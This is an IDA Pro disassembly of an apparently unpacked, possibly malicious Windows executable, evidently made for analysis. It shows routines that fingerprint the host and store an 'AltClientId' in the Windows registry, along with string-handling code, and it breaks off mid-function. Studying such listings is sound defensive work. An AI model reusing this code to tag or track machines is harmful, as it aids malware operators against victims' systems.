;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : CB748567C0C763BCB6D4C2D4E13D6E80
; ---------------------------------------------------------------------------
; File Name : u:\work\cb748567c0c763bcb6d4c2d4e13d6e80_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00037000 ( 225280.)
; Section size in file : 00037000 ( 225280.)
; Offset to raw data for section: 00001000
; Flags E0000000: Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_vty segment para public 'CODE' use32
assume cs:_vty
;org 401000h
assume es:nothing, ss:nothing, ds:_vty, fs:nothing, gs:nothing
loc_401000: ; DATA XREF: .vty:0041FEA4o
mov dword ptr [ecx], offset off_41C290
jmp sub_40D931
; ---------------------------------------------------------------------------
loc_40100B: ; DATA XREF: .vty:off_41C290o
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41C290
call sub_40D931
test byte ptr [esp+8], 1
jz short loc_401027
push esi
call sub_40DD8A
pop ecx
loc_401027: ; CODE XREF: .vty:0040101Ej
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40102D proc near ; CODE XREF: sub_401315+79p
; sub_4013C4+25p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DD8F
mov eax, [ebp+arg_0]
add esp, 10h
pop ebp
retn
sub_40102D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401049 proc near ; CODE XREF: sub_4014F5+50p
; sub_401D1F+A9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D807
mov eax, [ebp+arg_0]
add esp, 10h
pop ebp
retn
sub_401049 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401065 proc near ; CODE XREF: sub_401156+4Cp
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 48h
lea eax, [ebp+var_4]
push eax
push 20019h
push 0
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call dword_41C008 ; RegOpenKeyExA
test eax, eax
jz short loc_40108E
loc_40108A: ; CODE XREF: sub_401065+59j
; sub_401065+68j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40108E: ; CODE XREF: sub_401065+23j
push edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_48]
push eax
push 0
push 0
push offset aAltclientid ; "AltClientId"
push [ebp+var_4]
mov [ebp+var_8], 40h
call dword_41C010 ; RegQueryValueExA
push [ebp+var_4]
mov edi, eax
call dword_41C000 ; RegCloseKey
test edi, edi
pop edi
jnz short loc_40108A
lea eax, [ebp+var_48]
push eax
call sub_40D970
cmp eax, 10h
pop ecx
jnz short loc_40108A
lea eax, [ebp+var_48]
push eax
mov ecx, offset dword_424E84
call sub_4013A7
mov al, 1
leave
retn
sub_401065 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010E1 proc near ; CODE XREF: sub_401156+17Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
xor edi, edi
push edi
push 20006h
push edi
push edi
push edi
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call dword_41C00C ; RegCreateKeyExA
test eax, eax
jz short loc_401112
xor al, al
jmp short loc_401153
; ---------------------------------------------------------------------------
loc_401112: ; CODE XREF: sub_4010E1+2Bj
cmp dword_424E9C, 10h
mov eax, dword_424E88
jnb short loc_401125
mov eax, offset dword_424E88
loc_401125: ; CODE XREF: sub_4010E1+3Dj
mov ecx, dword_424E98
push esi
inc ecx
push ecx
push eax
push 1
push edi
push offset aAltclientid ; "AltClientId"
push [ebp+var_4]
call dword_41C014 ; RegSetValueExA
push [ebp+var_4]
mov esi, eax
call dword_41C000 ; RegCloseKey
xor eax, eax
cmp esi, edi
setz al
pop esi
loc_401153: ; CODE XREF: sub_4010E1+2Fj
pop edi
leave
retn
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401156 proc near ; CODE XREF: sub_405089+81p
var_1D0 = dword ptr -1D0h
var_6C = byte ptr -6Ch
var_58 = byte ptr -58h
var_48 = byte ptr -48h
var_44 = byte ptr -44h
var_3C = byte ptr -3Ch
var_34 = byte ptr -34h
var_2C = byte ptr -2Ch
var_28 = byte ptr -28h
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 1D4h
test byte ptr dword_424EA0, 1
push ebx
push esi
push edi
mov edi, offset dword_424E84
jnz short loc_401195
or dword_424EA0, 1
push 0
mov ecx, edi
mov dword_424E9C, 0Fh
call sub_401564
push offset loc_41B67A
call sub_40DBC0
pop ecx
loc_401195: ; CODE XREF: sub_401156+18j
cmp dword_424E98, 0
jnz loc_4012DB
call sub_401065
test al, al
jnz loc_4012DB
lea ecx, [ebp+var_1D0]
mov [ebp+var_1D0], offset off_41E018
call sub_40CBAC
lea eax, [ebp+var_48]
push eax
call dword_41C054 ; GlobalMemoryStatus
push 4
pop ebx
push ebx
lea eax, [ebp+var_44]
push eax
lea esi, [ebp+var_1D0]
call sub_401704
push ebx
lea eax, [ebp+var_3C]
push eax
call sub_401704
push ebx
lea eax, [ebp+var_34]
push eax
call sub_401704
push ebx
lea eax, [ebp+var_2C]
push eax
call sub_401704
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_20]
push eax
push offset aC ; "C:\\"
call dword_41C05C ; GetDiskFreeSpaceExA
push 8
lea eax, [ebp+var_20]
push eax
call sub_401704
push 8
lea eax, [ebp+var_28]
push eax
call sub_401704
push 8
lea eax, [ebp+var_18]
push eax
call sub_401704
lea eax, [ebp+var_C]
push eax
call dword_41C1B4 ; GetCursorPos
push 8
lea eax, [ebp+var_C]
push eax
call sub_401704
lea eax, [ebp+var_58]
push eax
call dword_41C060 ; GetSystemTime
push 10h
lea eax, [ebp+var_58]
push eax
call sub_401704
call dword_41C058 ; GetTickCount
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_4]
push eax
call sub_401704
lea eax, [ebp+var_6C]
push eax
call sub_401762
mov eax, dword_424E98
push 10h
pop ebx
cmp eax, ebx
jb short loc_401295
push 0FFFFFFFFh
push ebx
mov ecx, edi
call sub_4014F5
jmp short loc_4012A0
; ---------------------------------------------------------------------------
loc_401295: ; CODE XREF: sub_401156+131j
push 0
sub ebx, eax
mov esi, edi
call sub_40140F
loc_4012A0: ; CODE XREF: sub_401156+13Dj
xor edi, edi
mov eax, offset dword_424E84
call sub_4012F5
mov edi, eax
xor esi, esi
loc_4012B0: ; CODE XREF: sub_401156+176j
movzx eax, [ebp+esi+var_6C]
push eax
push offset a02x ; "%02x"
push 2
push edi
call sub_40D9FB
add esp, 10h
inc esi
inc edi
inc edi
cmp esi, 8
jl short loc_4012B0
mov byte ptr [edi], 0
call sub_4010E1
mov edi, offset dword_424E84
loc_4012DB: ; CODE XREF: sub_401156+46j
; sub_401156+53j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_401156 endp
; =============== S U B R O U T I N E =======================================
sub_4012E2 proc near ; CODE XREF: sub_401989+2Ep
; sub_401B38+16p ...
push 0
mov ecx, esi
mov dword ptr [esi+18h], 0Fh
call sub_401564
mov eax, esi
retn
sub_4012E2 endp
; =============== S U B R O U T I N E =======================================
sub_4012F5 proc near ; CODE XREF: sub_401156+151p
; sub_4081BF+7Bp ...
push esi
mov esi, eax
cmp edi, [esi+14h]
jbe short loc_401302
call sub_40DCFC
loc_401302: ; CODE XREF: sub_4012F5+6j
cmp dword ptr [esi+18h], 10h
jb short loc_40130D
mov esi, [esi+4]
jmp short loc_401310
; ---------------------------------------------------------------------------
loc_40130D: ; CODE XREF: sub_4012F5+11j
add esi, 4
loc_401310: ; CODE XREF: sub_4012F5+16j
lea eax, [esi+edi]
pop esi
retn
sub_4012F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401315 proc near ; CODE XREF: sub_401483+2Bp
; sub_401C1E+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp [edi+14h], eax
mov ebx, ecx
jnb short loc_40132D
call sub_40D7C3
loc_40132D: ; CODE XREF: sub_401315+11j
mov esi, [edi+14h]
mov eax, [ebp+arg_4]
sub esi, eax
cmp [ebp+arg_8], esi
jnb short loc_40133D
mov esi, [ebp+arg_8]
loc_40133D: ; CODE XREF: sub_401315+23j
cmp ebx, edi
mov ecx, ebx
jnz short loc_40135B
push 0FFFFFFFFh
add esi, eax
push esi
call sub_4014F5
push [ebp+arg_4]
mov ecx, ebx
push 0
call sub_4014F5
jmp short loc_40139E
; ---------------------------------------------------------------------------
loc_40135B: ; CODE XREF: sub_401315+2Cj
push 0
push esi
call sub_401580
test al, al
jz short loc_40139E
cmp dword ptr [edi+18h], 10h
jb short loc_401372
mov edi, [edi+4]
jmp short loc_401375
; ---------------------------------------------------------------------------
loc_401372: ; CODE XREF: sub_401315+56j
add edi, 4
loc_401375: ; CODE XREF: sub_401315+5Bj
mov ecx, [ebx+18h]
cmp ecx, 10h
jb short loc_401382
mov eax, [ebx+4]
jmp short loc_401385
; ---------------------------------------------------------------------------
loc_401382: ; CODE XREF: sub_401315+66j
lea eax, [ebx+4]
loc_401385: ; CODE XREF: sub_401315+6Bj
mov edx, [ebp+arg_4]
push esi
add edi, edx
push edi
push ecx
push eax
call sub_40102D
add esp, 10h
push esi
mov ecx, ebx
call sub_401564
loc_40139E: ; CODE XREF: sub_401315+44j
; sub_401315+50j
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 0Ch
sub_401315 endp
; =============== S U B R O U T I N E =======================================
sub_4013A7 proc near ; CODE XREF: sub_401065+73p
; sub_401989+5Ap ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_40D970
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_401483
pop esi
retn 4
sub_4013A7 endp
; =============== S U B R O U T I N E =======================================
sub_4013C4 proc near ; CODE XREF: sub_401580+3Ep
; sub_4015DE+B7p ...
arg_0 = byte ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_4013F9
cmp dword ptr [esi+18h], 10h
jb short loc_4013F9
cmp [esp+4+arg_4], 0
lea eax, [esi+4]
push edi
mov edi, [eax]
jbe short loc_4013F1
push [esp+8+arg_4]
push edi
push 10h
push eax
call sub_40102D
add esp, 10h
loc_4013F1: ; CODE XREF: sub_4013C4+1Bj
push edi
call sub_40DD8A
pop ecx
pop edi
loc_4013F9: ; CODE XREF: sub_4013C4+8j
; sub_4013C4+Ej
push [esp+4+arg_4]
mov ecx, esi
mov dword ptr [esi+18h], 0Fh
call sub_401564
pop esi
retn 8
sub_4013C4 endp
; =============== S U B R O U T I N E =======================================
sub_40140F proc near ; CODE XREF: sub_401156+145p
; sub_402BCF+C7p ...
arg_0 = byte ptr 4
or eax, 0FFFFFFFFh
sub eax, [esi+14h]
cmp eax, ebx
ja short loc_40141E
call sub_40D784
loc_40141E: ; CODE XREF: sub_40140F+8j
test ebx, ebx
jbe short loc_40147E
push edi
mov edi, [esi+14h]
push 0
add edi, ebx
push edi
mov ecx, esi
call sub_401580
test al, al
jz short loc_40147D
cmp ebx, 1
mov ecx, [esi+14h]
jnz short loc_401455
cmp dword ptr [esi+18h], 10h
jb short loc_401449
mov eax, [esi+4]
jmp short loc_40144C
; ---------------------------------------------------------------------------
loc_401449: ; CODE XREF: sub_40140F+33j
lea eax, [esi+4]
loc_40144C: ; CODE XREF: sub_40140F+38j
mov dl, [esp+4+arg_0]
mov [eax+ecx], dl
jmp short loc_401475
; ---------------------------------------------------------------------------
loc_401455: ; CODE XREF: sub_40140F+2Dj
cmp dword ptr [esi+18h], 10h
jb short loc_401460
mov eax, [esi+4]
jmp short loc_401463
; ---------------------------------------------------------------------------
loc_401460: ; CODE XREF: sub_40140F+4Aj
lea eax, [esi+4]
loc_401463: ; CODE XREF: sub_40140F+4Fj
movsx edx, [esp+4+arg_0]
push ebx
push edx
add eax, ecx
push eax
call sub_40DD10
add esp, 0Ch
loc_401475: ; CODE XREF: sub_40140F+44j
push edi
mov ecx, esi
call sub_401564
loc_40147D: ; CODE XREF: sub_40140F+25j
pop edi
loc_40147E: ; CODE XREF: sub_40140F+11j
mov eax, esi
retn 4
sub_40140F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401483 proc near ; CODE XREF: sub_4013A7+14p
; sub_40BDCD+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
push edi
mov esi, ecx
call sub_4016D0
test al, al
jz short loc_4014B5
cmp dword ptr [esi+18h], 10h
jb short loc_4014A2
mov eax, [esi+4]
jmp short loc_4014A5
; ---------------------------------------------------------------------------
loc_4014A2: ; CODE XREF: sub_401483+18j
lea eax, [esi+4]
loc_4014A5: ; CODE XREF: sub_401483+1Dj
push [ebp+arg_4]
sub edi, eax
push edi
push esi
mov ecx, esi
call sub_401315
jmp short loc_4014EF
; ---------------------------------------------------------------------------
loc_4014B5: ; CODE XREF: sub_401483+12j
push 0
push [ebp+arg_4]
mov ecx, esi
call sub_401580
test al, al
jz short loc_4014ED
mov ecx, [esi+18h]
cmp ecx, 10h
jb short loc_4014D2
mov eax, [esi+4]
jmp short loc_4014D5
; ---------------------------------------------------------------------------
loc_4014D2: ; CODE XREF: sub_401483+48j
lea eax, [esi+4]
loc_4014D5: ; CODE XREF: sub_401483+4Dj
push [ebp+arg_4]
push edi
push ecx
push eax
call sub_40102D
add esp, 10h
push [ebp+arg_4]
mov ecx, esi
call sub_401564
loc_4014ED: ; CODE XREF: sub_401483+40j
mov eax, esi
loc_4014EF: ; CODE XREF: sub_401483+30j
pop edi
pop esi
pop ebp
retn 8
sub_401483 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4014F5 proc near ; CODE XREF: sub_401156+138p
; sub_401315+33p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
cmp [esi+14h], edi
jnb short loc_401509
call sub_40D7C3
loc_401509: ; CODE XREF: sub_4014F5+Dj
mov eax, [esi+14h]
sub eax, edi
cmp eax, [ebp+arg_4]
jnb short loc_401516
mov [ebp+arg_4], eax
loc_401516: ; CODE XREF: sub_4014F5+1Cj
cmp [ebp+arg_4], 0
jbe short loc_40155C
mov ecx, [esi+18h]
cmp ecx, 10h
push ebx
lea edx, [esi+4]
jb short loc_40152C
mov ebx, [edx]
jmp short loc_40152E
; ---------------------------------------------------------------------------
loc_40152C: ; CODE XREF: sub_4014F5+31j
mov ebx, edx
loc_40152E: ; CODE XREF: sub_4014F5+35j
cmp ecx, 10h
jb short loc_401535
mov edx, [edx]
loc_401535: ; CODE XREF: sub_4014F5+3Cj
sub eax, [ebp+arg_4]
add ebx, edi
add ebx, [ebp+arg_4]
push eax
push ebx
sub ecx, edi
push ecx
add edx, edi
push edx
call sub_401049
mov eax, [esi+14h]
sub eax, [ebp+arg_4]
add esp, 10h
push eax
mov ecx, esi
call sub_401564
pop ebx
loc_40155C: ; CODE XREF: sub_4014F5+25j
pop edi
mov eax, esi
pop esi
pop ebp
retn 8
sub_4014F5 endp
; =============== S U B R O U T I N E =======================================
sub_401564 proc near ; CODE XREF: sub_401156+2Fp
; sub_4012E2+Bp ...
arg_0 = dword ptr 4
cmp dword ptr [ecx+18h], 10h
mov eax, [esp+arg_0]
mov [ecx+14h], eax
jb short loc_401576
mov ecx, [ecx+4]
jmp short loc_401579
; ---------------------------------------------------------------------------
loc_401576: ; CODE XREF: sub_401564+Bj
add ecx, 4
loc_401579: ; CODE XREF: sub_401564+10j
mov byte ptr [ecx+eax], 0
retn 4
sub_401564 endp
; =============== S U B R O U T I N E =======================================
sub_401580 proc near ; CODE XREF: sub_401315+49p
; sub_40140F+1Ep ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
cmp edi, 0FFFFFFFEh
mov esi, ecx
jbe short loc_401592
call sub_40D784
loc_401592: ; CODE XREF: sub_401580+Bj
cmp [esi+18h], edi
jnb short loc_4015A4
push dword ptr [esi+14h]
mov ecx, esi
push edi
call sub_4015DE
jmp short loc_4015D1
; ---------------------------------------------------------------------------
loc_4015A4: ; CODE XREF: sub_401580+15j
cmp [esp+8+arg_4], 0
jz short loc_4015C5
cmp edi, 10h
jnb short loc_4015C5
mov eax, [esi+14h]
cmp edi, eax
jnb short loc_4015B9
mov eax, edi
loc_4015B9: ; CODE XREF: sub_401580+35j
push eax
push 1
mov ecx, esi
call sub_4013C4
jmp short loc_4015D1
; ---------------------------------------------------------------------------
loc_4015C5: ; CODE XREF: sub_401580+29j
; sub_401580+2Ej
test edi, edi
jnz short loc_4015D1
push edi
mov ecx, esi
call sub_401564
loc_4015D1: ; CODE XREF: sub_401580+22j
; sub_401580+43j ...
xor eax, eax
cmp eax, edi
sbb eax, eax
pop edi
neg eax
pop esi
retn 8
sub_401580 endp
; =============== S U B R O U T I N E =======================================
sub_4015DE proc near ; CODE XREF: sub_401580+1Dp
mov eax, offset sub_41AEA1
call sub_41AE44
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+8]
push edi
or esi, 0Fh
cmp esi, 0FFFFFFFEh
mov edi, ecx
mov [ebp-10h], esp
mov [ebp-18h], edi
jbe short loc_401606
mov esi, [ebp+8]
jmp short loc_40162B
; ---------------------------------------------------------------------------
loc_401606: ; CODE XREF: sub_4015DE+21j
xor edx, edx
push 3
mov eax, esi
pop ebx
div ebx
mov ecx, [edi+18h]
mov [ebp-14h], ecx
shr dword ptr [ebp-14h], 1
mov edx, [ebp-14h]
cmp eax, edx
jnb short loc_40162B
push 0FFFFFFFEh
pop eax
sub eax, edx
cmp ecx, eax
ja short loc_40162B
lea esi, [edx+ecx]
loc_40162B: ; CODE XREF: sub_4015DE+26j
; sub_4015DE+3Fj ...
and dword ptr [ebp-4], 0
lea eax, [esi+1]
push 0
push eax
call sub_401806
pop ecx
pop ecx
mov ebx, eax
jmp short loc_40166A
; ---------------------------------------------------------------------------
loc_401640: ; DATA XREF: .vty:0041FFB4o
mov eax, [ebp+8]
mov [ebp-10h], esp
mov [ebp+8], eax
inc eax
push 0
push eax
mov byte ptr [ebp-4], 2
call sub_401806
pop ecx
mov [ebp-14h], eax
pop ecx
mov eax, offset loc_401661
retn
; ---------------------------------------------------------------------------
loc_401661: ; DATA XREF: sub_4015DE+7Do
mov edi, [ebp-18h]
mov esi, [ebp+8]
mov ebx, [ebp-14h]
loc_40166A: ; CODE XREF: sub_4015DE+60j
cmp dword ptr [ebp+0Ch], 0
jbe short loc_40168F
cmp dword ptr [edi+18h], 10h
jb short loc_40167B
mov eax, [edi+4]
jmp short loc_40167E
; ---------------------------------------------------------------------------
loc_40167B: ; CODE XREF: sub_4015DE+96j
lea eax, [edi+4]
loc_40167E: ; CODE XREF: sub_4015DE+9Bj
push dword ptr [ebp+0Ch]
push eax
lea eax, [esi+1]
push eax
push ebx
call sub_40102D
add esp, 10h
loc_40168F: ; CODE XREF: sub_4015DE+90j
push 0
push 1
mov ecx, edi
call sub_4013C4
push dword ptr [ebp+0Ch]
mov ecx, edi
mov [edi+4], ebx
mov [edi+18h], esi
call sub_401564
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_4015DE endp
; =============== S U B R O U T I N E =======================================
sub_4016BB proc near ; DATA XREF: .vty:0041FFA4o
mov ecx, [ebp-18h]
xor esi, esi
push esi
push 1
call sub_4013C4
push esi
push esi
call sub_4107BC
int 3 ; Trap to Debugger
sub_4016BB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4016D0 proc near ; CODE XREF: sub_401483+Bp
; sub_401D1F+17p ...
arg_0 = dword ptr 4
push esi
mov esi, [ecx+18h]
cmp esi, 10h
lea eax, [ecx+4]
jb short loc_4016E0
mov edx, [eax]
jmp short loc_4016E2
; ---------------------------------------------------------------------------
loc_4016E0: ; CODE XREF: sub_4016D0+Aj
mov edx, eax
loc_4016E2: ; CODE XREF: sub_4016D0+Ej
cmp [esp+4+arg_0], edx
jb short loc_4016FE
cmp esi, 10h
jb short loc_4016EF
mov eax, [eax]
loc_4016EF: ; CODE XREF: sub_4016D0+1Bj
mov ecx, [ecx+14h]
add ecx, eax
cmp ecx, [esp+4+arg_0]
jbe short loc_4016FE
mov al, 1
jmp short loc_401700
; ---------------------------------------------------------------------------
loc_4016FE: ; CODE XREF: sub_4016D0+16j
; sub_4016D0+28j
xor al, al
loc_401700: ; CODE XREF: sub_4016D0+2Cj
pop esi
retn 4
sub_4016D0 endp
; =============== S U B R O U T I N E =======================================
sub_401704 proc near ; CODE XREF: sub_401156+86p
; sub_401156+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esi+4]
mov edx, [esp+arg_4]
push ebx
mov ebx, eax
shr ebx, 3
lea ecx, [eax+edx*8]
and ebx, 3Fh
cmp ecx, eax
push edi
jnb short loc_40171F
inc dword ptr [esi+8]
loc_40171F: ; CODE XREF: sub_401704+16j
mov edi, [esp+8+arg_0]
mov eax, edx
shr eax, 1Dh
add [esi+8], eax
test edx, edx
mov [esi+4], ecx
jz short loc_40175D
loc_401732: ; CODE XREF: sub_401704+57j
mov eax, ebx
shr eax, 2
lea eax, [esi+eax*4+20h]
shl dword ptr [eax], 8
movzx edx, byte ptr [edi]
mov ecx, [eax]
or edx, ecx
inc edi
inc ebx
test bl, 3Fh
mov [eax], edx
jnz short loc_401757
mov eax, [esi]
mov ecx, esi
xor ebx, ebx
call dword ptr [eax+4]
loc_401757: ; CODE XREF: sub_401704+48j
dec [esp+8+arg_4]
jnz short loc_401732
loc_40175D: ; CODE XREF: sub_401704+2Cj
pop edi
pop ebx
retn 8
sub_401704 endp
; =============== S U B R O U T I N E =======================================
sub_401762 proc near ; CODE XREF: sub_401156+122p
arg_0 = dword ptr 4
push ebx
mov ebx, [esi+4]
push edi
shr ebx, 3
push 77h
and ebx, 3Fh
pop edi
sub edi, ebx
cmp edi, 40h
jb short loc_40177A
sub edi, 40h
loc_40177A: ; CODE XREF: sub_401762+13j
mov eax, ebx
shr eax, 2
lea eax, [esi+eax*4+20h]
mov ecx, [eax]
shl ecx, 8
or ecx, 80h
inc ebx
test bl, 3Fh
mov [eax], ecx
jnz short loc_40179F
mov eax, [esi]
mov ecx, esi
xor ebx, ebx
call dword ptr [eax+4]
loc_40179F: ; CODE XREF: sub_401762+32j
test edi, edi
jz short loc_4017C1
loc_4017A3: ; CODE XREF: sub_401762+5Dj
mov eax, ebx
shr eax, 2
lea eax, [esi+eax*4+20h]
shl dword ptr [eax], 8
inc ebx
test bl, 3Fh
jnz short loc_4017BE
mov eax, [esi]
mov ecx, esi
xor ebx, ebx
call dword ptr [eax+4]
loc_4017BE: ; CODE XREF: sub_401762+51j
dec edi
jnz short loc_4017A3
loc_4017C1: ; CODE XREF: sub_401762+3Fj
mov eax, [esi+8]
mov [esi+58h], eax
mov eax, [esi+4]
mov [esi+5Ch], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+4]
pop edi
xor eax, eax
pop ebx
loc_4017D8: ; CODE XREF: sub_401762+99j
mov edx, eax
and edx, 3
push 3
pop ecx
sub ecx, edx
mov edx, eax
shr edx, 2
mov edx, [esi+edx*4+0Ch]
shl ecx, 3
shr edx, cl
mov ecx, [esp+arg_0]
mov [eax+ecx], dl
inc eax
cmp eax, 14h
jl short loc_4017D8
mov eax, [esi]
mov ecx, esi
call dword ptr [eax]
retn 4
sub_401762 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401806 proc near ; CODE XREF: sub_4015DE+57p
; sub_4015DE+73p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
sub esp, 0Ch
test ecx, ecx
ja short loc_40181E
xor ecx, ecx
loc_401815: ; CODE XREF: sub_401806+22j
push ecx
call sub_40DE68
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_40181E: ; CODE XREF: sub_401806+Bj
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 1
jnb short loc_401815
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
call sub_40D873
push offset dword_41FEA0
lea eax, [ebp+var_C]
push eax
mov [ebp+var_C], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
push esi
push [esp+10h+var_8]
mov esi, ecx
call sub_40D8D9
mov dword ptr [esi], offset off_41C290
mov eax, esi
pop esi
retn 4
sub_401806 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
locret_401868: ; CODE XREF: .vty:loc_41AEBDj
; .vty:loc_41AF0Fj ...
retn
; =============== S U B R O U T I N E =======================================
sub_401869 proc near ; CODE XREF: sub_401F07+41p
; sub_405EBC+34p ...
mov eax, offset loc_41AEB3
call sub_41AE44
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
call sub_40D862
and dword ptr [ebp-4], 0
push dword ptr [ebp+8]
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41C29C
call sub_401C1E
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_401869 endp
; =============== S U B R O U T I N E =======================================
sub_4018A5 proc near ; CODE XREF: .vty:004018D3p
; .vty:004018F2j ...
push esi
mov esi, ecx
push 0
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41C29C
call sub_4013C4
mov ecx, esi
pop esi
jmp sub_40D931
sub_4018A5 endp
; ---------------------------------------------------------------------------
cmp dword ptr [ecx+24h], 10h
jb short loc_4018CC
mov eax, [ecx+10h]
retn
; ---------------------------------------------------------------------------
loc_4018CC: ; CODE XREF: .vty:004018C6j
lea eax, [ecx+10h]
retn
; ---------------------------------------------------------------------------
loc_4018D0: ; DATA XREF: .vty:off_41C29Co
push esi
mov esi, ecx
call sub_4018A5
test byte ptr [esp+8], 1
jz short loc_4018E6
push esi
call sub_40DD8A
pop ecx
loc_4018E6: ; CODE XREF: .vty:004018DDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_4018EC: ; DATA XREF: .vty:0041FEFCo
mov dword ptr [ecx], offset off_41C2A8
jmp sub_4018A5
; ---------------------------------------------------------------------------
loc_4018F7: ; DATA XREF: .vty:off_41C2A8o
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41C2A8
call sub_4018A5
test byte ptr [esp+8], 1
jz short loc_401913
push esi
call sub_40DD8A
pop ecx
loc_401913: ; CODE XREF: .vty:0040190Aj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_401919 proc near ; CODE XREF: sub_402420+1Ap
; .vty:004081AEp
mov eax, offset loc_41AEB3
call sub_41AE44
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_40D8D9
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41C29C
call sub_401C1E
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_401919 endp
; =============== S U B R O U T I N E =======================================
sub_40195C proc near ; CODE XREF: sub_402979+104p
; sub_402BCF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
lea eax, [esp+arg_8]
push eax
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_401989
retn
sub_40195C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40196F proc near ; CODE XREF: sub_403E41+CDp
; sub_403E41+114p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
